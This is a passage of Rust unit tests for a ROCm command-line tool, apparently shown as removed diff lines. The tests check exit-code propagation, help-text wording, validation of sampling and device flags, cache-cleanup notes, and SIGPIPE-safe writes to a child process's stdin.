mid-stack. Guard the - /// downcast the same way `exit_code_for_fix_exit_code_carries_the_code` - /// guards `FixExitCode`'s. - #[test] - fn exit_code_for_clap_exit_code_carries_the_code() { - let err = anyhow::Error::new(super::ClapExitCode(2)); - assert_eq!(super::exit_code_for(Err(err)), ExitCode::from(2)); - } - - /// `run()`'s mistyped-subcommand branch and `parse_cli()` both route a - /// real `clap::Error` through the production `clap_exit_code` helper - /// (not a hand-built `ClapExitCode`), so this calls that same helper on a - /// real parse failure to exercise the actual - /// `clap parse failure -> clap_exit_code -> ClapExitCode -> exit_code_for` - /// chain end to end. Reverting `clap_exit_code` to call `err.exit()` - /// directly, or dropping its use from either call site, breaks this. - #[test] - fn clap_error_exit_code_survives_the_clap_exit_code_round_trip() { - let err = command_invocation_error(&["instal".to_owned()]) - .expect("`instal` should read as a mistyped subcommand"); - let expected_code = err.exit_code(); - let result: Result<()> = Err(super::clap_exit_code(err)); - assert_eq!( - super::exit_code_for(result), - ExitCode::from(expected_code as u8) - ); - } - - /// `parse_cli()` itself reads `std::env::args_os()` (via - /// `Command::try_get_matches()`), which a unit test cannot redirect, so - /// this exercises the same `cli_command()` builder with an explicit argv - /// instead: an unrecognised flag is the common case `parse_cli()` was - /// still routing through `err.exit()` before it switched from - /// `get_matches()` to `try_get_matches()`. - #[test] - fn cli_command_rejects_unknown_flag_through_clap_exit_code() { - let err = super::cli_command() - .try_get_matches_from(["rocm", "--this-flag-does-not-exist"]) - .expect_err("an unknown flag must be a parse error"); - let expected_code = err.exit_code(); - let result: Result<()> = Err(super::clap_exit_code(err)); - assert_eq!( - super::exit_code_for(result), - ExitCode::from(expected_code as u8) - ); - } - - /// Any other error must still fail with exit 1, matching what - /// `Result<(), anyhow::Error>`'s `Termination` impl already does today for - /// every subcommand other than `fix`. - #[test] - fn exit_code_for_generic_error_is_failure() { - let err = anyhow::anyhow!("boom"); - assert_eq!(super::exit_code_for(Err(err)), ExitCode::FAILURE); - } - - /// Exercises the real `dispatch -> fix -> FixExitCode -> exit_code_for` - /// chain end to end, not just `exit_code_for` in isolation. Guards against - /// a future change at the `Command::Fix` dispatch arm (e.g. discarding the - /// error into a fresh `anyhow!(...)`) silently breaking the downcast and - /// falling through to the generic exit 1. - #[test] - fn dispatch_carries_fixs_exit_code_through_to_exit_code_for() { - // Skip the startup update check: it's a side effect unrelated to what - // this test verifies, and could otherwise touch the network. Goes - // through `ScopedTestEnv` so it's serialized against every other test - // that touches process env and restored on drop even on panic. - let mut env = ScopedTestEnv::new(); - env.set("ROCM_CLI_DISABLE_STARTUP_UPDATE_CHECK", "1"); - let cli = super::Cli { - command: Some(super::Command::Fix { - fix_id: Some("fix-does-not-exist".to_owned()), - yes: true, - dry_run: false, - device_index: None, - json: false, - }), - }; - let result = super::dispatch(cli); - drop(env); - assert_eq!(super::exit_code_for(result), ExitCode::from(2)); - } - - /// A cache that has moved inside a directory uninstall already removes must - /// not be reported as "not removed" — the note would be false. - #[test] - fn shared_cache_notes_skip_paths_already_being_removed() { - let root = std::env::temp_dir().join(format!("rocm-shared-cache-{}", std::process::id())); - let _ = std::fs::remove_dir_all(&root); - let data = root.join("data"); - let inside = data.join("uv-cache"); - std::fs::create_dir_all(&inside).unwrap(); - - let notes = super::shared_cache_notes_for( - &[root.join("config"), data, root.join("cache")], - &[(inside, "the uv package cache")], - ); - - assert!( - notes.is_empty(), - "a cache inside a removed directory must not be reported: {notes:?}" - ); - - let _ = std::fs::remove_dir_all(&root); - } - - /// A cache that exists outside everything being removed is reported, with - /// its path, so the plan does not imply a clean slate it will not deliver. - #[test] - fn shared_cache_notes_report_paths_left_behind() { - let root = std::env::temp_dir().join(format!("rocm-shared-out-{}", std::process::id())); - let _ = std::fs::remove_dir_all(&root); - let outside = root.join("elsewhere").join("uv"); - std::fs::create_dir_all(&outside).unwrap(); - - let notes = super::shared_cache_notes_for( - &[root.join("data")], - &[(outside.clone(), "the uv package cache")], - ); - - assert_eq!(notes.len(), 1, "{notes:?}"); - assert!(notes[0].contains("not removed"), "{notes:?}"); - assert!( - notes[0].contains(&outside.display().to_string()), - "{notes:?}" - ); - - let _ = std::fs::remove_dir_all(&root); - } - - /// A cache that does not exist is not worth mentioning. - #[test] - fn shared_cache_notes_ignore_missing_paths() { - let missing = std::env::temp_dir().join("rocm-definitely-not-here-12345"); - let notes = super::shared_cache_notes_for( - &[std::env::temp_dir()], - &[(missing, "the uv package cache")], - ); - assert!(notes.is_empty(), "{notes:?}"); - } - - use super::*; - use serde_json::json; - - /// Serializes and isolates tests that read or mutate process-global env vars. - /// - /// `std::env::set_var`/`remove_var` are `unsafe` in edition 2024 because - /// concurrent env mutation races with any concurrent `env::var` read anywhere - /// in the process, and `cargo test` runs these functions multi-threaded in one - /// binary. A unique variable name does not make a mutation safe — the hazard is - /// the mutation racing a read, not a name collision. Every test that touches - /// env therefore holds this one process-wide lock, and each mutation is saved - /// and restored on drop so it cannot leak into another test. - struct ScopedTestEnv { - _lock: std::sync::MutexGuard<'static, ()>, - saved: Vec<(String, Option)>, - } - - impl ScopedTestEnv { - fn new() -> Self { - static LOCK: Mutex<()> = Mutex::new(()); - let lock = LOCK - .lock() - .unwrap_or_else(std::sync::PoisonError::into_inner); - Self { - _lock: lock, - saved: Vec::new(), - } - } - - /// Clear the two AMD driver-install override vars for the duration of the - /// test, so a value exported in the developer's or runner's shell cannot - /// leak into a plan and make its resolved `repo_version`/package release - /// disagree with the assertion. - fn with_amd_overrides_cleared() -> Self { - let mut env = Self::new(); - env.clear("ROCM_CLI_AMDGPU_VERSION"); - env.clear("ROCM_CLI_AMDGPU_PACKAGE_RELEASE"); - env - } - - fn save(&mut self, key: &str) { - if !self.saved.iter().any(|(saved_key, _)| saved_key == key) { - self.saved.push((key.to_owned(), std::env::var(key).ok())); - } - } - - #[allow(unsafe_code)] // std::env::set_var is unsafe in edition 2024 - fn set(&mut self, key: &str, value: &str) { - self.save(key); - unsafe { - std::env::set_var(key, value); - } - } - - #[allow(unsafe_code)] // std::env::remove_var is unsafe in edition 2024 - fn clear(&mut self, key: &str) { - self.save(key); - unsafe { - std::env::remove_var(key); - } - } - } - - impl Drop for ScopedTestEnv { - #[allow(unsafe_code)] // std::env::set_var/remove_var are unsafe in edition 2024 - fn drop(&mut self) { - for (key, previous) in self.saved.iter().rev() { - unsafe { - match previous { - Some(value) => std::env::set_var(key, value), - None => std::env::remove_var(key), - } - } - } - } - } - - // The previous `daemon_run_argv_targets_rocmd_run_with_automations` unit test - // only re-asserted the literals `daemon_run_argv()` returns, so it tested - // nothing real. The intended real behavior — that this argv actually drives - // `rocmd` into its `run --automations-enabled` foreground loop — is proven - // end-to-end by the `daemon_runs_real_foreground_loop` integration test in - // tests/daemon_run.rs. A non-tautological unit test would require parsing the - // argv through `rocmd::Cli`/`rocmd::Command`, but those clap structs are - // crate-private in rocmd and exposing them (plus their private field types - // like `SandboxToolArg`) is more than a trivial visibility change, so the - // tautological unit test is removed in favor of the integration coverage. - - #[test] - fn cli_command_definition_is_valid() { - Cli::command().debug_assert(); - } - - /// EAI-7362: the top-level `rocm --help` command list must be alphabetical, - /// including clap's implicit `help` entry (it must sort into place, not be - /// pinned last). - /// - /// Renders the real help text (not just the command model) so the assertion - /// covers what clap actually prints. - #[test] - fn top_level_help_lists_commands_alphabetically() { - let help = cli_command().render_long_help().to_string(); - - let commands_section = help - .split_once("Commands:") - .expect("help output has a Commands section") - .1; - - // Each command entry starts at a fixed two-space indent; wrapped - // description lines are indented further, so a non-space third column - // uniquely identifies a command row. Stop at the blank line that ends - // the section. - let names: Vec = commands_section - .lines() - .skip_while(|line| line.trim().is_empty()) - .take_while(|line| !line.trim().is_empty()) - .filter(|line| line.starts_with(" ") && !line.starts_with(" ")) - .filter_map(|line| line.split_whitespace().next()) - .map(str::to_owned) - .collect(); - - assert!( - names.iter().any(|name| name == "help"), - "expected the implicit `help` entry to appear in the list, got {names:?}" - ); - assert!( - names.len() > 1, - "expected several visible subcommands, got {names:?}" - ); - - let mut sorted = names.clone(); - sorted.sort(); - assert_eq!( - names, sorted, - "top-level `rocm --help` commands are not alphabetized" - ); - } - - #[test] - fn every_framework_choice_reaches_the_library() { - // The defect this flag fixes was not a missing enum -- the library had - // all four variants -- but that no caller could select one. Pin the - // mapping so a renamed variant cannot silently fall back to the default. - use rocm_core::FrameworkProbe; - assert_eq!( - FrameworkProbe::from(FrameworkArg::Auto), - FrameworkProbe::Auto - ); - assert_eq!( - FrameworkProbe::from(FrameworkArg::Pytorch), - FrameworkProbe::PyTorch - ); - assert_eq!( - FrameworkProbe::from(FrameworkArg::LlamaCpp), - FrameworkProbe::LlamaCpp - ); - assert_eq!( - FrameworkProbe::from(FrameworkArg::Skip), - FrameworkProbe::Skip - ); - } - - #[test] - fn the_framework_choice_is_offered_on_the_command_line() { - // Guards the actual regression: the variants existed in the library and - // were unreachable from here. A user must be able to see and pass them. - let help = Cli::command() - .find_subcommand_mut("examine") - .expect("examine subcommand") - .render_long_help() - .to_string(); - for choice in ["auto", "pytorch", "llama-cpp", "skip"] { - assert!( - help.contains(choice), - "`{choice}` must be offered by `rocm examine --help`:\n{help}" - ); - } - } - - #[test] - fn install_sdk_help_describes_the_gate_as_replacing_the_active_default() { - // `rocm install sdk --help` is the most-read description of the `--yes` - // gate, and it is the one surface a "reword every site" pass can miss — - // this branch's own history has it being missed once and corrected in a - // follow-up. So the assertions read the `yes` argument's own help text - // rather than the whole rendered page: the sibling - // `--approve-replacing-active-default` doc independently satisfies a - // page-wide "active default" match, which would keep a reverted `--yes` - // doc green. - // - // The effect is a displacement, not a deletion: in the default managed - // install root `runtime_key` embeds the resolved version, so an upgrade - // or downgrade lands in its own install root and the previous install - // stays on disk — only the active default moves. Claiming an overwrite - // here would promise a deletion that does not happen and contradict the - // prompt and the README. - let mut command = Cli::command(); - let sdk = command - .find_subcommand_mut("install") - .expect("install subcommand") - .find_subcommand_mut("sdk") - .expect("install sdk subcommand"); - let yes = sdk - .get_arguments() - .find(|arg| arg.get_id() == "yes") - .expect("`install sdk` must offer --yes"); - let yes_help = yes - .get_long_help() - .or_else(|| yes.get_help()) - .expect("--yes must be documented") - .to_string(); - - assert!( - yes_help.contains("active default"), - "`--yes` must document itself as approving a replacement of the \ - active default:\n{yes_help}" - ); - assert!( - !yes_help.to_lowercase().contains("overwrit"), - "`--yes` must not claim an overwrite; an upgrade or downgrade leaves \ - the previous install on disk:\n{yes_help}" - ); - } - - #[test] - fn install_sdk_help_separates_the_two_consents_yes_carries() { - // `--yes` approves two unrelated things: replacing the active default - // runtime, and running `sudo` for required system packages. The whole - // point of the narrow flag is that a caller with no terminal can grant - // the first without the second, so the help has to say so — a reader who - // believes it is a synonym for `--yes` will reach for `--yes` from a - // script and get a sudo prompt nothing can answer. - let help = Cli::command() - .find_subcommand_mut("install") - .expect("install subcommand") - .find_subcommand_mut("sdk") - .expect("install sdk subcommand") - .render_long_help() - .to_string(); - assert!( - help.contains("--approve-replacing-active-default"), - "`rocm install sdk --help` must document the narrow consent flag:\n{help}" - ); - assert!( - help.contains("does not approve system-package installs"), - "`rocm install sdk --help` must say the narrow flag excludes \ - system-package installs:\n{help}" - ); - } - - #[test] - fn update_apply_approval_never_credits_the_inert_yes_flag() { - // Pins `SdkInstallApprovalSource::UpdateApply`: the update path is - // preapproved, but it must never print a line crediting `--yes`. - // - // `rocm update` now *does* take a `--yes` flag, added for consistency - // with the other mutating commands, and the deliberate decision the - // flag's arrival called for has been made: the behaviour does not - // change. That flag is inert by its own doc comment — applying never - // prompts — and the dispatch above discards it (`yes: _`), so it grants - // nothing. Crediting it would claim an approval the user never gave, - // and on `rocm install sdk` `--yes` additionally approves running - // `sudo`, so the claim would be doubly wrong. - // - // This replaces an assertion that `rocm update --help` contained no - // `--yes` at all: a proxy for the invariant that only held while the - // flag was absent. Pin the invariant itself so this still fails if the - // update path is ever made to credit the flag. - for activates in [true, false] { - let line = therock::preapproved_install_line( - therock::SdkInstallApprovalSource::UpdateApply { activates }, - "upgrade from installed 7.13.0 (release-wheel-gfx120X-all)", - "7.14.0", - ); - assert!( - !line.contains("--yes"), - "`rocm update --apply` (activates={activates}) credited --yes, \ - but that flag grants it nothing: {line}" - ); - assert!( - line.starts_with("Requested by `rocm update --apply"), - "the update path must name itself as the approval source: {line}" - ); - } - } - - #[test] - fn runtimes_help_uses_the_runtime_noun_throughout() { - // `comfyui install`'s selection errors steer the user to `rocm runtimes` - // and say "ROCm runtime". The help for the command they land on must use - // the same noun — including its own about line, which `rocm runtimes - // --help` prints above the subcommand list and which the rename missed - // while every subcommand below it already said "runtime". - let help = Cli::command() - .find_subcommand_mut("runtimes") - .expect("runtimes subcommand") - .render_long_help() - .to_string(); - assert!( - help.contains("ROCm runtimes"), - "`rocm runtimes --help` should describe itself with the `runtime` noun:\n{help}" - ); - assert!( - !help.contains("ROCm install"), - "`rocm runtimes --help` must not reintroduce the `ROCm install` noun:\n{help}" - ); - - // The help is not the only `runtimes` string a user reads: running a - // mutating `rocm runtimes …` from chat raises an approval modal whose - // title is written here, not by clap, so the help assertions above - // cannot reach it. It said "Change ROCm install" until this rename. - let action = chat_rocm_command_action_from_args(vec![ - "runtimes".to_owned(), - "activate".to_owned(), - "some-runtime-key".to_owned(), - ]) - .expect("a mutating runtimes command classifies"); - let ChatRocmCommandAction::Approval { pending_title, .. } = action else { - panic!("`rocm runtimes activate` must require approval, got {action:?}"); - }; - assert!( - pending_title.contains("runtime") && !pending_title.contains("install"), - "the `runtimes` approval modal must use the `runtime` noun, got {pending_title:?}" - ); - } - - #[test] - fn out_of_scope_commands_are_marked_preview_in_help() { - let help = Cli::command().render_long_help().to_string(); - for command in ["chat", "comfyui", "automations"] { - let line = help - .lines() - .find(|line| line.trim_start().starts_with(command)) - .unwrap_or_else(|| panic!("`{command}` missing from help:\n{help}")); - assert!( - line.contains("[preview]"), - "`{command}` is outside the Tech Preview scope and must say so:\n{line}" - ); - } - } - - #[test] - fn the_preview_marker_is_explained_and_not_contradicted() { - let help = Cli::command().render_long_help().to_string(); - // A marker nobody can interpret is no better than no marker. - assert!( - help.contains("Commands marked [preview]"), - "the marker must be explained in the help footer:\n{help}" - ); - // A command cannot be promoted as a headline example while being marked - // unfinished — that is the contradiction this pairing exists to prevent. - let examples = help - .split_once("EXAMPLES:") - .map(|(_, rest)| rest) - .unwrap_or_default(); - for command in ["chat", "comfyui", "automations"] { - assert!( - !examples.contains(&format!("rocm {command}")), - "`{command}` is marked preview, so it must not headline the examples:\n{examples}" - ); - } - } - - /// An `ExamineSummary` with the install-reporting fields under test and - /// everything else inert. - fn summary_with_legacy( - managed_runtime_count: usize, - legacy_status: &str, - legacy_version: Option<&str>, - ) -> ExamineSummary { - ExamineSummary { - os: "linux".to_owned(), - arch: "x86_64".to_owned(), - kernel: None, - distro: None, - cpu: None, - system_ram_gib: None, - interactive_terminal: false, - default_engine: "lemonade".to_owned(), - detected_gfx_target: None, - compatible_therock_family: None, - detected_therock_family: None, - driver: rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_available".to_owned(), - detail: None, - }, - legacy_rocm: rocm_core::LegacyRocmSummary { - status: legacy_status.to_owned(), - paths: Vec::new(), - detail: None, - version: legacy_version.map(str::to_owned), - }, - wsl: None, - managed_runtime_count, - managed_service_count: 0, - model_cache_entries: 0, - config_dir: PathBuf::from("config"), - data_dir: PathBuf::from("data"), - cache_dir: PathBuf::from("cache"), - } - } - - #[test] - fn header_does_not_claim_nothing_is_installed_when_rocm_is_present() { - // The reported case: ROCm on the machine, none of it CLI-managed. The - // header counted only managed runtimes, so it said "No ROCm installs - // saved yet" — read as "nothing is installed". - let header = render_examine_plain_header(&summary_with_legacy( - 0, - "detected_unmanaged", - Some("7.14.0"), - )); - assert!( - header.contains("existing ROCm 7.14.0 found"), - "the detected install and its version must appear:\n{header}" - ); - assert!( - header.contains("left unmanaged by design"), - "it must read as a deliberate choice, not an oversight:\n{header}" - ); - } - - #[test] - fn header_reports_a_detected_install_whose_version_is_unknown() { - // Degrades to naming the install without inventing a version. - let header = - render_examine_plain_header(&summary_with_legacy(0, "detected_unmanaged", None)); - assert!( - header.contains("existing ROCm install found"), - "the install must still be reported:\n{header}" - ); - assert!( - !header.contains(""), - "an unknown version must not leak a placeholder into the summary:\n{header}" - ); - } - - #[test] - fn header_accounts_for_managed_and_existing_installs_together() { - let header = render_examine_plain_header(&summary_with_legacy( - 2, - "detected_unmanaged", - Some("6.4.1"), - )); - assert!( - header.contains("2 ROCm installs saved"), - "the managed count must survive:\n{header}" - ); - assert!( - header.contains("existing ROCm 6.4.1 found"), - "the unmanaged install must be reported alongside it:\n{header}" - ); - } - - #[test] - fn header_still_says_nothing_is_installed_when_nothing_is() { - // The wording only changes when there is something to report. - let header = render_examine_plain_header(&summary_with_legacy(0, "not_detected", None)); - assert!( - header.contains("No ROCm installs saved yet"), - "an empty machine must keep the original wording:\n{header}" - ); - assert!( - !header.contains("existing ROCm"), - "nothing should be claimed on an empty machine:\n{header}" - ); - } - - /// Regression test for the engine child-stdin write under the process-wide - /// `SIG_DFL` that `main` installs via [`reset_sigpipe`]. If an engine child - /// exits before reading its stdin, the parent's write to that pipe must - /// surface as a `BrokenPipe` error — handled by the caller's diagnostics — - /// rather than killing `rocm` with SIGPIPE before those diagnostics run. - /// - /// The bug only reproduces under `SIG_DFL`; the test harness leaves SIGPIPE - /// at Rust's default `SIG_IGN`, and flipping it process-wide would race - /// sibling tests. So this re-execs itself in fresh processes that install - /// `SIG_DFL` first, and checks BOTH directions: - /// - unguarded write to a dead child's stdin is fatal (killed by SIGPIPE) — - /// this is the regression the plain `SIG_DFL` reset introduced; - /// - the same write wrapped in [`with_sigpipe_ignored`] survives and returns - /// an error instead — this is the fix. - /// - /// Each child reaps its short-lived grandchild before writing, so the read - /// end is closed deterministically and the outcome does not race. - #[cfg(unix)] - #[test] - fn engine_stdin_write_under_sig_dfl_is_guarded_not_fatal() { - use std::os::unix::process::ExitStatusExt as _; - - // Grandchild helper: reproduce main()'s SIG_DFL, spawn a process that - // exits immediately, reap it, then write to its now-closed stdin. The - // "guarded" arm wraps the write; the "unguarded" arm does not. - if let Some(mode) = std::env::var_os("ROCM_TEST_SIGPIPE_ARM") { - reset_sigpipe(); - let mut grandchild = ProcessCommand::new("true") - .stdin(Stdio::piped()) - .stdout(Stdio::null()) - .stderr(Stdio::null()) - .spawn() - .expect("spawn a process that exits immediately"); - let mut stdin = grandchild.stdin.take().expect("grandchild stdin"); - grandchild.wait().expect("reap grandchild"); - // Heap-allocated so the buffer doesn't trip clippy::large-stack-arrays; - // it must exceed the pipe buffer so the write actually reaches the - // closed read end rather than being swallowed by kernel buffering. - let payload = vec![b'x'; 64 * 1024]; - if mode == "guarded" { - let result = with_sigpipe_ignored(|| stdin.write_all(&payload)); - assert!( - result.is_err(), - "guarded write to a dead pipe should return BrokenPipe, not succeed" - ); - } else { - // Unguarded: under SIG_DFL this write delivers SIGPIPE and never - // returns. If the process somehow survives, exit 0 so the parent's - // "should have been signalled" assertion fails loudly. - let _ = stdin.write_all(&payload); - } - return; - } - - let exe = std::env::current_exe().expect("current test executable"); - let run_arm = |mode: &str| -> ExitStatus { - ProcessCommand::new(&exe) - .args([ - "tests::engine_stdin_write_under_sig_dfl_is_guarded_not_fatal", - "--exact", - "--nocapture", - ]) - .env("ROCM_TEST_SIGPIPE_ARM", mode) - .status() - .expect("re-exec the test arm in a child process") - }; - - let unguarded = run_arm("unguarded"); - assert_eq!( - unguarded.signal(), - Some(libc::SIGPIPE), - "sanity check: an unguarded stdin write under SIG_DFL must be killed by \ - SIGPIPE (got {unguarded:?}); if not, the test no longer proves the guard matters" - ); - - let guarded = run_arm("guarded"); - assert!( - guarded.success(), - "guarded child-stdin write was fatal under SIG_DFL ({guarded:?}) — \ - SIGPIPE reached the process instead of surfacing as an error" - ); - } - - #[test] - fn bench_load_rejects_zero_and_unbounded_numeric_arguments() { - for args in [ - [ - "rocm", - "bench", - "load", - "--endpoint", - "http://localhost:8000", - "--concurrency", - "0", - ] - .as_slice(), - [ - "rocm", - "bench", - "load", - "--endpoint", - "http://localhost:8000", - "--isl", - "32769", - ] - .as_slice(), - [ - "rocm", - "bench", - "load", - "--endpoint", - "http://localhost:8000", - "--osl", - "32769", - ] - .as_slice(), - [ - "rocm", - "bench", - "load", - "--endpoint", - "http://localhost:8000", - "--requests", - "10001", - ] - .as_slice(), - ] { - assert!( - Cli::try_parse_from(args).is_err(), - "accepted invalid args: {args:?}" - ); - } - } - - fn serve_possible_values(arg_id: &str) -> Vec { - let cli = Cli::command(); - let serve = cli - .find_subcommand("serve") - .expect("serve subcommand exists"); - serve - .get_arguments() - .find(|arg| arg.get_id().as_str() == arg_id) - .unwrap_or_else(|| panic!("serve has no `{arg_id}` argument")) - .get_possible_values() - .iter() - .map(|value| value.get_name().to_owned()) - .collect() - } - - // Both `--engine` and `--device` restrict their input to a fixed set via a - // clap `value_parser`/`ValueEnum`, so invalid input is rejected as a usage - // error (exit code 2) with the accepted choices listed. Values are advertised - // in `--help` and shell completion structurally (not a hand-written doc - // string), with one deliberate exception: `--device cpu_only` is - // `#[value(hide = true)]` — still accepted so its exit-1 rejection message - // survives, but kept out of help and completion. The sync tests below keep the - // advertised lists honest; `serve_device_help_lists_match_device_policy_names` - // compares against the full `DevicePolicy` set (hidden entries included, via - // `get_possible_values`), so a dropped or renamed variant still fails. - #[test] - fn serve_engine_help_lists_match_engine_inventory() { - let mut listed = serve_possible_values("engine"); - let mut expected: Vec = builtin_engine_inventory() - .iter() - .map(|(name, _)| (*name).to_owned()) - .collect(); - listed.sort(); - expected.sort(); - assert_eq!( - listed, expected, - "serve --engine possible-values must stay in sync with builtin_engine_inventory()" - ); - } - - #[test] - fn serve_device_help_lists_match_device_policy_names() { - let mut listed = serve_possible_values("device"); - let mut expected: Vec = [ - DevicePolicy::GpuRequired, - DevicePolicy::GpuPreferred, - DevicePolicy::CpuOnly, - ] - .iter() - .map(|policy| device_policy_name(policy).to_owned()) - .collect(); - listed.sort(); - expected.sort(); - assert_eq!( - listed, expected, - "serve --device possible-values must stay in sync with DevicePolicy names" - ); - } - - #[test] - fn serve_rejects_unknown_device_policy_as_usage_error() { - // An invalid `--device` must fail clap's value validation (a usage error, - // exit code 2) rather than parsing as a free-form string and failing later - // in application logic (exit code 1). This keeps `--device` consistent with - // every other enum-style argument and lists the valid choices in the error. - let error = parse_serve(&["--device", "bogus"]).expect_err("invalid device rejected"); - assert_eq!(error.kind(), clap::error::ErrorKind::InvalidValue); - } - - #[test] - fn serve_accepts_device_policy_values_and_aliases() { - for (value, expected) in [ - ("gpu_required", DevicePolicyArg::GpuRequired), - ("gpu_preferred", DevicePolicyArg::GpuPreferred), - ("cpu_only", DevicePolicyArg::CpuOnly), - // Historical aliases stay accepted for backward compatibility. - ("auto", DevicePolicyArg::GpuRequired), - ("gpu", DevicePolicyArg::GpuRequired), - ("cpu", DevicePolicyArg::CpuOnly), - ] { - let cli = parse_serve(&["--device", value]).expect("device value parses"); - match cli.command { - Some(Command::Serve { device, .. }) => { - assert_eq!(device, Some(expected), "device value `{value}`"); - } - other => panic!("expected Serve, got {other:?}"), - } - } - } - - #[test] - fn device_policy_arg_maps_through_parse_device_policy() { - // `as_policy_str` feeds the parsed variant back through - // `parse_device_policy`, the single choke point enforcing the strict - // no-CPU policy. Guard the mapping so a mis-typed arm (e.g. `CpuOnly => - // "gpu_required"`) cannot silently turn the deliberate CPU rejection into - // a GPU-required serve while every other test stays green. - assert_eq!( - parse_device_policy(Some(DevicePolicyArg::GpuRequired.as_policy_str())) - .expect("gpu_required parses"), - DevicePolicy::GpuRequired - ); - assert_eq!( - parse_device_policy(Some(DevicePolicyArg::GpuPreferred.as_policy_str())) - .expect("gpu_preferred parses"), - DevicePolicy::GpuRequired - ); - // `cpu_only` must still be rejected outright rather than mapped to a - // GPU policy. - assert!( - parse_device_policy(Some(DevicePolicyArg::CpuOnly.as_policy_str())).is_err(), - "cpu_only must be rejected" - ); - } - - fn parse_serve(args: &[&str]) -> Result { - let mut argv = vec!["rocm", "serve", "qwen"]; - argv.extend_from_slice(args); - Cli::try_parse_from(argv) - } - - #[test] - fn serve_parses_verbose_and_no_smoke_test_flags() { - let cli = parse_serve(&["--verbose", "--no-smoke-test"]).expect("flags parse"); - match cli.command { - Some(Command::Serve { - verbose, - no_smoke_test, - foreground, - managed, - .. - }) => { - assert!(verbose, "--verbose should set verbose"); - assert!(no_smoke_test, "--no-smoke-test should set no_smoke_test"); - assert!(!foreground); - assert!(!managed); - } - other => panic!("expected Serve, got {other:?}"), - } - } - - #[test] - fn serve_verbose_conflicts_with_managed() { - // `--verbose` streams logs in the foreground; a backgrounded managed - // server has no foreground stream to attach to, so the two are mutually - // exclusive (point users at `rocm logs` for a managed server instead). - let error = parse_serve(&["--verbose", "--managed"]).expect_err("conflict rejected"); - assert_eq!(error.kind(), clap::error::ErrorKind::ArgumentConflict); - } - - #[test] - fn detach_key_ctrl_d_detaches_ctrl_c_stops() { - assert_eq!(detach_key_outcome(true, 'd'), Some(AttachOutcome::Detach)); - assert_eq!(detach_key_outcome(true, 'c'), Some(AttachOutcome::Stop)); - } - - #[test] - fn detach_key_ignores_plain_and_unrelated_keys() { - // Without the control modifier, `d`/`c` are ordinary log-scroll input. - assert_eq!(detach_key_outcome(false, 'd'), None); - assert_eq!(detach_key_outcome(false, 'c'), None); - // Other control combos are not detach/stop triggers. - assert_eq!(detach_key_outcome(true, 'q'), None); - assert_eq!(detach_key_outcome(true, 'z'), None); - } - - #[test] - fn serve_defaults_have_all_flags_off() { - let cli = parse_serve(&[]).expect("bare serve parses"); - match cli.command { - Some(Command::Serve { - verbose, - no_smoke_test, - foreground, - managed, - .. - }) => { - assert!(!verbose && !no_smoke_test && !foreground && !managed); - } - other => panic!("expected Serve, got {other:?}"), - } - } - - #[test] - fn serve_parses_generation_flags() { - let cli = parse_serve(&[ - "--temperature", - "0.5", - "--top-p", - "0.25", - "--max-tokens", - "128", - ]) - .expect("generation flags parse"); - match cli.command { - Some(Command::Serve { - temperature, - top_p, - max_tokens, - .. - }) => { - assert_eq!(temperature, Some(0.5)); - assert_eq!(top_p, Some(0.25)); - assert_eq!(max_tokens, Some(128)); - } - other => panic!("expected Serve, got {other:?}"), - } - } - - #[test] - fn serve_rejects_out_of_range_sampling() { - // top-p is a probability; temperature must be non-negative. Both are - // validated at the CLI boundary so a bad value never reaches the engine. - assert_eq!( - parse_serve(&["--top-p=1.5"]) - .expect_err("top-p above 1.0 is rejected") - .kind(), - clap::error::ErrorKind::ValueValidation - ); - assert_eq!( - parse_serve(&["--temperature=-0.1"]) - .expect_err("negative temperature is rejected") - .kind(), - clap::error::ErrorKind::ValueValidation - ); - assert_eq!( - parse_serve(&["--max-tokens=0"]) - .expect_err("zero max-tokens is rejected") - .kind(), - clap::error::ErrorKind::ValueValidation - ); - } - - #[test] - fn serve_negative_sampling_space_form_reaches_range_validator() { - // The space form (`--temperature -1`) must reach the value parser and - // report a value error, not be rejected by clap as an unexpected argument. - // This is the classic negative-number-as-flag gotcha; `allow_negative_numbers` - // makes both forms validate identically. `--max-tokens` shares the gotcha even - // though it is a positive integer: the ambiguity is at the tokenizer, before the - // value parser runs, so the space form must reach `parse_positive_u32` too. - for args in [ - &["--temperature", "-1"][..], - &["--temperature=-1"][..], - &["--top-p", "-0.5"][..], - &["--top-p=-0.5"][..], - &["--max-tokens", "-1"][..], - &["--max-tokens=-1"][..], - ] { - assert_eq!( - parse_serve(args) - .expect_err("negative sampling value is rejected") - .kind(), - clap::error::ErrorKind::ValueValidation, - "expected range validation for {args:?}" - ); - } - } - - #[test] - fn chat_negative_sampling_space_form_reaches_range_validator() { - // Mirrors `serve_negative_sampling_space_form_reaches_range_validator`: the - // same numeric value flags carry `allow_negative_numbers` on `chat`, so the - // space form reaches the value parser instead of clap's unexpected-argument path. - for args in [ - &["--temperature", "-1"][..], - &["--temperature=-1"][..], - &["--top-p", "-0.5"][..], - &["--top-p=-0.5"][..], - &["--max-tokens", "-1"][..], - &["--max-tokens=-1"][..], - ] { - let mut argv = vec!["rocm", "chat", "--prompt", "hi"]; - argv.extend_from_slice(args); - assert_eq!( - Cli::try_parse_from(argv) - .expect_err("negative sampling value is rejected") - .kind(), - clap::error::ErrorKind::ValueValidation, - "expected range validation for {args:?}" - ); - } - } - - #[test] - fn chat_parses_generation_flags() { - let cli = Cli::try_parse_from([ - "rocm", - "chat", - "--prompt", - "hello", - "--temperature", - "0.5", - "--top-p", - "0.25", - "--max-tokens", - "64", - ]) - .expect("chat generation flags parse"); - match cli.command { - Some(Command::Chat { - temperature, - top_p, - max_tokens, - .. - }) => { - assert_eq!(temperature, Some(0.5)); - assert_eq!(top_p, Some(0.25)); - assert_eq!(max_tokens, Some(64)); - } - other => panic!("expected Chat, got {other:?}"), - } - } - - #[test] - fn chat_rejects_zero_max_tokens() { - let error = Cli::try_parse_from(["rocm", "chat", "--prompt", "hello", "--max-tokens", "0"]) - .expect_err("zero max-tokens is rejected"); - assert_eq!(error.kind(), clap::error::ErrorKind::ValueValidation); - } - - #[test] - fn update_rejects_zero_timeout_secs() { - let error = Cli::try_parse_from(["rocm", "update", "--json", "--timeout-secs", "0"]) - .expect_err("zero timeout-secs is rejected"); - assert_eq!(error.kind(), clap::error::ErrorKind::ValueValidation); - } - - #[test] - fn completions_generate_for_every_shell() { - use clap_complete::Shell; - // The hidden, internal-only verbs that `--help` omits and that must - // therefore never appear in any generated completion script. These are - // matched as substrings of the generated text, so the hidden `status` - // verb is intentionally excluded here: it would collide with the - // visible 